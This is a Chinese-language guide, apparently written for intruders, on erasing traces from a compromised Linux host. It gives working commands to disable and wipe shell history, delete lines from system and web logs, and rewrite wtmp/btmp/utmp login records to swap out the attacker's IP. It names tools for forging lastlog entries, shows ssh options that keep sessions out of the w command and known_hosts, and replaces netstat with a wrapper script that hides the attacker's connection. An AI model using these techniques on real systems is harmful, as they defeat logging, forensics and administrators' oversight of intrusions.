
常见命令
history 命令
history 查看当前session历史命令缓冲区及历史命令文件 高级用法 export HISTTIMEFORMAT='%F %T ' history |more 可以查看到历史命令的具体时间 /bin/bash下测试有效
CTRL+r 进入历史命令搜索模式 输入部分关键字 搜索后回车执行
快速执行上一条命令 !! 上 !-1(同样在查看到编号后可以!+数字执行) ctrl p
有关变量 HISTSIZE 指定历史记录文件的大小 HISTFILE 指定记录历史命令的文件
history -c 清除当前shell对应的所有的命令历史(直接清空文件) 需要注意不同的执行环境 history -a 将历史命令缓冲区内容写入到文件中(多个session) history -w 将当前历史命令缓冲区内容立即写入到文件中 history -r 清除当前历史命令缓冲区的内容
|
根据上述命令,每一次session结束后会自动将命令执行,缓冲区的内容写入到历史命令记录文件中。因此可以在每次执行结束后执行history -r清除。也可以指定export HISTFILE=为空或者置为/dev/null让结束后命令历史写入的文件不存在。也可以修改HISTSIZE为0,禁止写入到历史记录文件中。
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
如果在日志中已经有了记录,可以在无痕状态下使用sed进行清除sed -i '/content/'d file
也可以下载历史记录文件,本地清除后上传覆盖,时间需要进行修改。
相关文件
last-----> /var/log/wtmp 记录计算机重启和登入的情况 lastlog-----> /var/log/lastlog 记录用户上一次登录历史 lastb------> /var/log/btmp 记录登录失败历史 w---------->/varr/run/utmp w命令查看当前在线
/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一 /var/log/secure 与安全相关的日志信息 /var/log/maillog 与邮件相关的日志信息 /var/log/cron 与定时任务相关的日志信息 /var/log/spooler 与UUCP和news设备相关的日志信息 /var/log/boot.log 守护进程启动和停止相关的日志消息 /var/log/auth.log 系统登录日志(debian系统)
~/.bash_history 其余的tcsh、zsh、sh、ksh等 ~/.mysql_history mysql命令执行历史 ~/.viminfo 记录vim 操作记录 可还原写入文件
其余一些web服务的日志 /var/log/apache2/access.log ---error.log等 /var/log/nginx/access.log 很多Java中间件或组件的日志会存在应用目录的log目录下 如tomcat的catalina.out,activeMq的activemq.log
更具体的路径可以相应查看log.properties或者log4j.properties以及代码中的设置
|
对于文件的删除比较粗糙可以直接echo > file清空,也可以稍微精细一点使用sed对文本文件进行删除。对于wtmp,btmp,utmp这种二进制文件可以使用logtamper(可以隐藏w连接并清除掉指定的ip登录记录,对于lastlog只能修改登录时间),fake_login_log.py可以进一步对登录信息进行隐藏。

- 删除
last历史(/var/log/wtmp 主机运行及用户历史登录情况)
会删除所有来源的用户记录

- 删除
lastlog历史(/var/log/lastlog 每个用户的历史登录情况,每次登录均会覆盖)
只能通过时间和host清除



-
除了删除历史之外,由于lastlog等文件在管理员配置过程中肯定存在记录,直接清空显得很异常,可以借助
fake_login_log.py进行伪造。
Linux可以使用如下命令将二进制文件转换为文本后操作 utmpdump /var/log/wtmp |sed "s/192.168.233.132/1.1.1.1/g" |utmpdump -r >/tmp/wtmp1 &&\mv /tmp/wtmp1 /var/log/wtmp Unix /usr/lib/acct/fwtmp < /var/adm/wtmpx | sed "s/192.168.8.88/localhost/g" | /usr/lib/acct/fwtmp -ic > /var/adm/wtmpx
|
Tip
ssh -T root@127.0.0.1 /bin/bash -i -T参数隐藏w命令查看 ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i 不记录Linux公钥到known_hosts中 直接查看网络连接netstat -antp| grep 22还是存在的
进一步简单的隐藏可以备份bin文件替换成其他可执行sh文件写入命令过滤自己的连接 which netstat cp /path/netstat /path/netstat.bak vi /path/netstat ----> /path/netstat.bak ${*} } |grep -v ip 更深层次就需要进行Hook或者驱动级隐藏
|
通过-T参数,可以防止登录成功后被记录到对应文件中,需要注意的是登录失败日志仍然会记录到/var/log/btmp中
